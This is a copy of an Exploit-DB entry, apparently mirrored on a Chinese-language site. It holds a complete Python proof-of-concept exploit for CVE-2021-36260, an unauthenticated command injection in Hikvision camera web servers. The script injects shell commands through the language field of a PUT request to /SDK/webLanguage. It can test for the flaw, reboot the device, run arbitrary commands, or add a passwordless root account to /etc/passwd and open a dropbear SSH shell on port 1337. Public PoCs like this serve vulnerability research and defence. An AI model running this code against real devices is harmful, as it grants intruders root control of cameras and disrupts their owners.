Hikvision Web Server Build 210702 – Command Injection

  • 作者: bashis
    日期: 2021-10-25
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/50441/
  • # Exploit Title: Hikvision Web Server Build 210702 - Command Injection
    # Exploit Author: bashis
    # Vendor Homepage: https://www.hikvision.com/
    # Version: 1.0
    # CVE: CVE-2021-36260
    # Reference: https://watchfulip.github.io/2021/09/18/Hikvision-IP-Camera-Unauthenticated-RCE.html
    
    # All credit to Watchful_IP
    
    #!/usr/bin/env python3
    
    """
    Note:
    1)This code will _not_ verify if remote is Hikvision device or not.
    2)Most of my interest in this code has been concentrated on how to
    reliably detect vulnerable and/or exploitable devices.
    Some devices are easy to detect, verify and exploit the vulnerability,
    other devices may be vulnerable but not so easy to verify and exploit.
    I think the combined verification code should have very high accuracy.
    3)'safe check' (--check) will try write and read for verification
    'unsafe check' (--reboot) will try reboot the device for verification
    
    [Examples]
    Safe vulnerability/verify check:
    $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --check
    
    Safe and unsafe vulnerability/verify check:
    (will only use 'unsafe check' if not verified with 'safe check')
    $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --check --reboot
    
    Unsafe vulnerability/verify check:
    $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --reboot
    
    Launch and connect to SSH shell:
    $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --shell
    
    Execute command:
    $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --cmd "ls -l"
    
    Execute blind command:
    $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --cmd_blind "reboot"
    
    $./CVE-2021-36260.py -h
    [*] Hikvision CVE-2021-36260
    [*] PoC by bashis <mcw noemail eu> (2021)
    usage: CVE-2021-36260.py [-h] --rhost RHOST [--rport RPORT] [--check]
     [--reboot] [--shell] [--cmd CMD]
     [--cmd_blind CMD_BLIND] [--noverify]
     [--proto {http,https}]
    
    optional arguments:
    -h, --helpshow this help message and exit
    --rhost RHOST Remote Target Address (IP/FQDN)
    --rport RPORT Remote Target Port
    --check Check if vulnerable
    --rebootReboot if vulnerable
    --shell Launch SSH shell
    --cmd CMD execute cmd (i.e: "ls -l")
    --cmd_blind CMD_BLIND
    execute blind cmd (i.e: "reboot")
    --noverifyDo not verify if vulnerable
    --proto {http,https}Protocol used
    $
    """
    
    import os
    import argparse
    import time
    
    import requests
    from requests import packages
    from requests.packages import urllib3
    from requests.packages.urllib3 import exceptions
    
    
    class Http(object):
    def __init__(self, rhost, rport, proto, timeout=60):
    super(Http, self).__init__()
    
    self.rhost = rhost
    self.rport = rport
    self.proto = proto
    self.timeout = timeout
    
    self.remote = None
    self.uri = None
    
    """ Most devices will use self-signed certificates, suppress any warnings """
    requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
    
    self.remote = requests.Session()
    
    self._init_uri()
    
    self.remote.headers.update({
    'Host': f'{self.rhost}:{self.rport}',
    'Accept': '*/*',
    'X-Requested-With': 'XMLHttpRequest',
    'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
    'Accept-Encoding': 'gzip, deflate',
    'Accept-Language': 'en-US,en;q=0.9,sv;q=0.8',
    })
    """
    self.remote.proxies.update({
    # 'http': 'http://127.0.0.1:8080',
    })
    """
    
    def send(self, url=None, query_args=None, timeout=5):
    
    if query_args:
    """Some devices can handle more, others less, 22 bytes seems like a good compromise"""
    if len(query_args) > 22:
    print(f'[!] Error: Command "{query_args}" to long ({len(query_args)})')
    return None
    
    """This weird code will try automatically switch between http/https
    and update Host
    """
    try:
    if url and not query_args:
    return self.get(url, timeout)
    else:
    data = self.put('/SDK/webLanguage', query_args, timeout)
    except requests.exceptions.ConnectionError:
    self.proto = 'https' if self.proto == 'http' else 'https'
    self._init_uri()
    try:
    if url and not query_args:
    return self.get(url, timeout)
    else:
    data = self.put('/SDK/webLanguage', query_args, timeout)
    except requests.exceptions.ConnectionError:
    return None
    except requests.exceptions.RequestException:
    return None
    except KeyboardInterrupt:
    return None
    
    """302 when requesting http on https enabled device"""
    
    if data.status_code == 302:
    redirect = data.headers.get('Location')
    self.uri = redirect[:redirect.rfind('/')]
    self._update_host()
    if url and not query_args:
    return self.get(url, timeout)
    else:
    data = self.put('/SDK/webLanguage', query_args, timeout)
    
    return data
    
    def _update_host(self):
    if not self.remote.headers.get('Host') == self.uri[self.uri.rfind('://') + 3:]:
    self.remote.headers.update({
    'Host': self.uri[self.uri.rfind('://') + 3:],
    })
    
    def _init_uri(self):
    self.uri = '{proto}://{rhost}:{rport}'.format(proto=self.proto, rhost=self.rhost, rport=str(self.rport))
    
    def put(self, url, query_args, timeout):
    """Command injection in the <language> tag"""
    query_args = '<?xml version="1.0" encoding="UTF-8"?>' \
     f'<language>$({query_args})</language>'
    return self.remote.put(self.uri + url, data=query_args, verify=False, allow_redirects=False, timeout=timeout)
    
    def get(self, url, timeout):
    return self.remote.get(self.uri + url, verify=False, allow_redirects=False, timeout=timeout)
    
    
    def check(remote, args):
    """
    status_code == 200 (OK);
    Verified vulnerable and exploitable
    status_code == 500 (Internal Server Error);
    Device may be vulnerable, but most likely not
    The SDK webLanguage tag is there, but generate status_code 500 when language not found
    I.e. Exist: <language>en</language> (200), not exist: <language>EN</language> (500)
    (Issue: Could also be other directory than 'webLib', r/o FS etc...)
    status_code == 401 (Unauthorized);
    Defiantly not vulnerable
    """
    if args.noverify:
    print(f'[*] Not verifying remote "{args.rhost}:{args.rport}"')
    return True
    
    print(f'[*] Checking remote "{args.rhost}:{args.rport}"')
    
    data = remote.send(url='/', query_args=None)
    if data is None:
    print(f'[-] Cannot establish connection to "{args.rhost}:{args.rport}"')
    return None
    print('[i] ETag:', data.headers.get('ETag'))
    
    data = remote.send(query_args='>webLib/c')
    if data is None or data.status_code == 404:
    print(f'[-] "{args.rhost}:{args.rport}" do not looks like Hikvision')
    return False
    status_code = data.status_code
    
    data = remote.send(url='/c', query_args=None)
    if not data.status_code == 200:
    """We could not verify command injection"""
    if status_code == 500:
    print(f'[-] Could not verify if vulnerable (Code: {status_code})')
    if args.reboot:
    return check_reboot(remote, args)
    else:
    print(f'[+] Remote is not vulnerable (Code: {status_code})')
    return False
    
    print('[!] Remote is verified exploitable')
    return True
    
    
    def check_reboot(remote, args):
    """
    We sending 'reboot', wait 2 sec, then checking with GET request.
    - if there is data returned, we can assume remote is not vulnerable.
    - If there is no connection or data returned, we can assume remote is vulnerable.
    """
    if args.check:
    print('[i] Checking if vulnerable with "reboot"')
    else:
    print(f'[*] Checking remote "{args.rhost}:{args.rport}" with "reboot"')
    remote.send(query_args='reboot')
    time.sleep(2)
    if not remote.send(url='/', query_args=None):
    print('[!] Remote is vulnerable')
    return True
    else:
    print('[+] Remote is not vulnerable')
    return False
    
    
    def cmd(remote, args):
    if not check(remote, args):
    return False
    data = remote.send(query_args=f'{args.cmd}>webLib/x')
    if data is None:
    return False
    
    data = remote.send(url='/x', query_args=None)
    if data is None or not data.status_code == 200:
    print(f'[!] Error execute cmd "{args.cmd}"')
    return False
    print(data.text)
    return True
    
    
    def cmd_blind(remote, args):
    """
    Blind command injection
    """
    if not check(remote, args):
    return False
    data = remote.send(query_args=f'{args.cmd_blind}')
    if data is None or not data.status_code == 500:
    print(f'[-] Error execute cmd "{args.cmd_blind}"')
    return False
    print(f'[i] Try execute blind cmd "{args.cmd_blind}"')
    return True
    
    
    def shell(remote, args):
    if not check(remote, args):
    return False
    data = remote.send(url='/N', query_args=None)
    
    if data.status_code == 404:
    print(f'[i] Remote "{args.rhost}" not pwned, pwning now!')
    data = remote.send(query_args='echo -n P::0:0:W>N')
    if data.status_code == 401:
    print(data.headers)
    print(data.text)
    return False
    remote.send(query_args='echo :/:/bin/sh>>N')
    remote.send(query_args='cat N>>/etc/passwd')
    remote.send(query_args='dropbear -R -B -p 1337')
    remote.send(query_args='cat N>webLib/N')
    else:
    print(f'[i] Remote "{args.rhost}" already pwned')
    
    print(f'[*] Trying SSH to {args.rhost} on port 1337')
    os.system(f'stty echo; stty iexten; stty icanon; \
    ssh -o StrictHostKeyChecking=no -o LogLevel=error -o UserKnownHostsFile=/dev/null \
    P@{args.rhost} -p 1337')
    
    
    def main():
    print('[*] Hikvision CVE-2021-36260\n[*] PoC by bashis <mcw noemail eu> (2021)')
    
    parser = argparse.ArgumentParser()
    parser.add_argument('--rhost', required=True, type=str, default=None, help='Remote Target Address (IP/FQDN)')
    parser.add_argument('--rport', required=False, type=int, default=80, help='Remote Target Port')
    parser.add_argument('--check', required=False, default=False, action='store_true', help='Check if vulnerable')
    parser.add_argument('--reboot', required=False, default=False, action='store_true', help='Reboot if vulnerable')
    parser.add_argument('--shell', required=False, default=False, action='store_true', help='Launch SSH shell')
    parser.add_argument('--cmd', required=False, type=str, default=None, help='execute cmd (i.e: "ls -l")')
    parser.add_argument('--cmd_blind', required=False, type=str, default=None, help='execute blind cmd (i.e: "reboot")')
    parser.add_argument(
    '--noverify', required=False, default=False, action='store_true', help='Do not verify if vulnerable'
    )
    parser.add_argument(
    '--proto', required=False, type=str, choices=['http', 'https'], default='http', help='Protocol used'
    )
    args = parser.parse_args()
    
    remote = Http(args.rhost, args.rport, args.proto)
    
    try:
    if args.shell:
    shell(remote, args)
    elif args.cmd:
    cmd(remote, args)
    elif args.cmd_blind:
    cmd_blind(remote, args)
    elif args.check:
    check(remote, args)
    elif args.reboot:
    check_reboot(remote, args)
    else:
    parser.parse_args(['-h'])
    except KeyboardInterrupt:
    return False
    
    
    if __name__ == '__main__':
    main()